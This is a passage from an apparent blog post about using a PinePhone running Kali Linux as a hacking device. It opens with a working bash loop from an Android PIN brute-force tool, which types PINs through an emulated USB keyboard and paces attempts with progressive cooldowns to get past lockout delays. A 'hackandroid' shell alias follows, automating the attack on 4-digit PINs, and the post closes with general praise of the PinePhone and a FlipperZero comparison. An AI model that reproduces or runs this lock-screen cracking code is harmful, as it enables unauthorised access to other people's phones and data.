# find the position in PROGRESSIVE_ARRAY_ATTEMPT_COUNT__________
progressive_array_position=0
for (( n=0; n <= $top_progressive_array_position; n++ ))
do
  if [[ ${PROGRESSIVE_ARRAY_ATTEMPT_COUNT__________[$n]} -gt $count ]]; then
    break
  fi
  progressive_array_position=$n
done
# is it the last position?
if [ $progressive_array_position -eq $top_progressive_array_position ]; then 
  progressive_array_finished=1
fi

cooldown_time=${PROGRESSIVE_ARRAY_COOLDOWN_IN_SECONDS____[$progressive_array_position]}
cooldown_after_n_attempts=${PROGRESSIVE_ARRAY_ATTEMPTS_UNTIL_COOLDOWN[$progressive_array_position]}

for (( position=$resume_from_index ; position>=0 && position <= pinlist_n_elements; position=position+DIRECTION ))
do
  # rename to attempt_counter
  ((count++))
  ((attempts_before_cooldown_counter++))

  pin=${pinlist[position]}

  # send prompt keys,e.g. escape and enter before every PIN attempted
  send_keys "$KEYS_BEFORE_EACH_PIN"
 
  # if we got an error from sending the key, check the phone connection
  if [ $RET -gt 0 ]; then
    monitor_phone_connection
  fi

  sleep $DELAY_AFTER_KEYS_BEFORE_EACH_PIN

  percent_complete=$((100*$position/$pinlist_n_elements))
  echo "[SEND] $pin. Attempt $count ($percent_complete%) at $(date +"%b%d %r")" | tee -a "$LOG" 
#  prog $percent_complete

  for i in `echo "$pin" | grep -o .`; do
   #echo $i
    send_key "$i"
  done
  send_keys "$KEYS_AFTER_EACH_PIN"

  if [[ $progressive_array_finished -ne 1 && $top_progressive_array_position -gt 0 ]]; then
    # log_info "Count: $count  Attempts_before_cooldown_counter: $attempts_before_cooldown_counter    Cooldown_time: $cooldown_time   Cooldown after N attempts: $cooldown_after_n_attempts"
    # check if we are changing the cooldown variables
    
    if [ $count -eq ${PROGRESSIVE_ARRAY_ATTEMPT_COUNT__________[$progressive_array_position + 1]} ]; then
      ((progressive_array_position++))

      cooldown_time=${PROGRESSIVE_ARRAY_COOLDOWN_IN_SECONDS____[$progressive_array_position]}
      cooldown_after_n_attempts=${PROGRESSIVE_ARRAY_ATTEMPTS_UNTIL_COOLDOWN[$progressive_array_position]}
      
      if [ $progressive_array_position -lt $top_progressive_array_position ]; then 
        attempts_before_cooldown_counter=0
      else
        progressive_array_finished=1
        log_info "Reached last position in Progressive Cooldown Array"
      fi

      # first time only
      if [ $count -eq 1 ]; then
        attempts_before_cooldown_counter=1
      fi
      log_info "Progressive Array [$progressive_array_position]. Reached $count attempts. Cooldown time is $cooldown_time seconds after every $cooldown_after_n_attempts PIN attempt(s)."
    fi
  fi

  # cooldown_time is optional
  if [[ $cooldown_time > 0 && $cooldown_after_n_attempts > 0 ]]; then
    #log_info "Cooldown for :$cooldown_time"
    # if we are after N attempts
    if [ $((attempts_before_cooldown_counter % $cooldown_after_n_attempts)) = 0 ]; then
      # countdown cooldown_time seconds
      log_debug "Countdown for $cooldown_time"
      for (( countdown=$cooldown_time; countdown > 0; countdown-- ))
      do
        echo -ne "$CLEAR_LINE$MOVE_CURSOR_LEFT" # clear line and move cursor left
        echo -ne "[${LIGHT_YELLOW}WAIT${DEFAULT}] "
        echo -ne "$countdown"

        # Optionally send keys during COOLDOWN EVERY N SECONDS
        # note: nodelay works best for sending a single key during cooldown, but is this really a useful feature?
        if [[ $SEND_KEYS_STAY_AWAKE_DURING_COOLDOWN_EVERY_N_SECONDS > 0 && $(($countdown % ${SEND_KEYS_STAY_AWAKE_DURING_COOLDOWN_EVERY_N_SECONDS})) = 0 ]]; then
          send_keys "$KEYS_STAY_AWAKE_DURING_COOLDOWN" nodelay
        fi

        # Optionally send keys just before COOLDOWN ends to wake up and dismiss popups, instead of during cooldown
        if [[ $SEND_KEYS_DISMISS_POPUPS_N_SECONDS_BEFORE_COOLDOWN_END > 0 && $countdown -eq $SEND_KEYS_DISMISS_POPUPS_N_SECONDS_BEFORE_COOLDOWN_END ]]; then
          log_debug "Sending keys to dismiss popups: $SEND_KEYS_DISMISS_POPUPS_AT_COOLDOWN_END"
          send_keys "$SEND_KEYS_DISMISS_POPUPS_AT_COOLDOWN_END"
        fi
        sleep 1
      done
      # extra sleep so we don't get out of sync with the phone
      sleep 1
      echo -ne "$CLEAR_LINE$MOVE_CURSOR_LEFT" 
    fi
  fi
done

log_info "End of PIN list reached"

And voila ! Everything automatize in my .bashrc with

alias hackandroid="sudo modprob g_serial; sudo rmmod g_serial; 
      sudo systemctl start create-fake-keyboard.service; 
      cd /home/kali/Android-PIN-Bruteforce/; 
      sudo ./android-pin-bruteforce crack 
            --config /home/kali/Android-PIN-Bruteforce/config 
            --length 4"

Next step for me is to implement the content of

PinePhone vs. FlipperZero

When comparing the PinePhone to another darling of the tech enthusiast community, the FlipperZero, the differences and similarities are fascinating. While the FlipperZero is a multi-tool aimed at hacking and testing various systems, the PinePhone offers a broader, more versatile platform for mobile computing and privacy-focused tasks. Both devices cater to a niche audience, but the PinePhone stands out for its emphasis on mobile privacy, open-source software, and community-driven development.

The Broader Impact and Community

The impact of the PinePhone extends beyond its hardware and software capabilities. It represents a movement towards more transparent, user-controlled technology. The community around the PinePhone is a testament to the power of collective development, with numerous projects, forums, and collaborations focused on enhancing the device’s capabilities and privacy features.

Conclusion

Reflecting on my journey with the PinePhone, it’s clear that this device is more than just a smartphone. It’s a tool for exploration, a platform for privacy, and a beacon for the open-source community. For tech and cyber enthusiasts, the PinePhone offers a unique opportunity to reclaim control over their digital lives and contribute to a more open, privacy-respecting world.

If you’re intrigued by the possibilities of the PinePhone or have your own experiences to share, I’d love to hear from you. Let’s continue the conversation and push the boundaries of what’s possible with technology.

Call to Action

Did you find this deep dive into the PinePhone informative or inspiring? If so, don’t forget to clap and follow for more insights into the world of privacy-focused and open-source technology. Together, we can explore the frontiers of tech freedom and innovation.

If you liked the presentation, clap and follow and I will do a tutorial on how to install custom images on the Pinephone and crafting your own hacking script !

Subscribe to my Medium publication for more tech insights:

Follow me on Twitter for updates and more

Follow me on LinkedIn also !

Let’s keep pushing the boundaries of what’s possible, one open-source project at a time. 🚀📱

References

  1. Pine64 Official Website: For comprehensive information on the PinePhone’s specifications, operating system options, and community projects. Visit Pine64
  2. Kali Linux on the PinePhone: A detailed guide and resources for installing Kali Linux on the PinePhone, provided by the official Kali Linux website. Kali Linux for PinePhone
  3. PinePhone Community Forums: Engage with the PinePhone community, share experiences, and get support for various projects related to the PinePhone. PinePhone Forums
  4. FlipperZero Official Website: For a closer look at the FlipperZero, its features, and its community-driven projects. Visit FlipperZero
Pinephone
Hacking
Phone
Penetration Testing
Cybersecurity
Recommended from ReadMedium